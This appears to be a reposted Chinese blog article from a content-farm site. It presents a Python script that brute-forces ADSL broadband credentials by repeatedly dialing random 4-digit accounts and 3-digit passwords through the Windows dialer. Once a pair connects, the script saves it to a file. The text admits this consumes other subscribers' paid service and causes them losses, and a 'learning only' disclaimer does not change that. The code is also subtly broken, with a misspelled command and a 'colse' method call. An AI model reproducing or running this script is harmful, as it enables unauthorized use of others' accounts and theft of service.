900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > Python 基于python实现ADSL宽带帐号 密码的获取及宽带拨号

Python 基于python实现ADSL宽带帐号 密码的获取及宽带拨号

时间:2020-04-04 06:22:15

相关推荐

Python 基于python实现ADSL宽带帐号 密码的获取及宽带拨号

基于python实现ADSL宽带帐号的获取及宽带拨号

基本思想:

1、研究上网方式(实验环境为电信网线接入式ADSL,拨号方式PPPOE)

2、研究宽带帐号和密码生成规律(实验环境,宽带帐号为4个数字组成,密码为3个数字组成),发现帐号和密码都很简单

3、通过python调用系统自带rasdia程序,进行拨号,如果成功拨号,说明该帐号有效则停止拨号(如果成功拨号,该号首次上网一个月内有效,如果持续探测,将可能造成其他方财产的大量损失)

4、该程序仅用于学习,请勿用于非法用途,否则后果自负。

源码:

#!/usr/bin/env python

# -*- coding:utf-8 -*-

__author__ = 'laiyu'

import os

import random

import time

if __name__ == "__main__":

not_found = 1

while not_found:

# 随机生成宽带帐号和密码

username = str(random.randint(1000, 9999))

passwd = str(random.randint(100, 999))

# 宽带拨号

cmd_str = "rasdia" + " " + "宽带连接" + " " + username + " " + passwd

not_found = os.system(cmd_str)

time.sleep(10)

# 拨号成功,保存帐号密码

if not_found == 0:

file = open("d:\\test.txt", "w")

file.write(username+ "" + passwd)

file.colse()

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。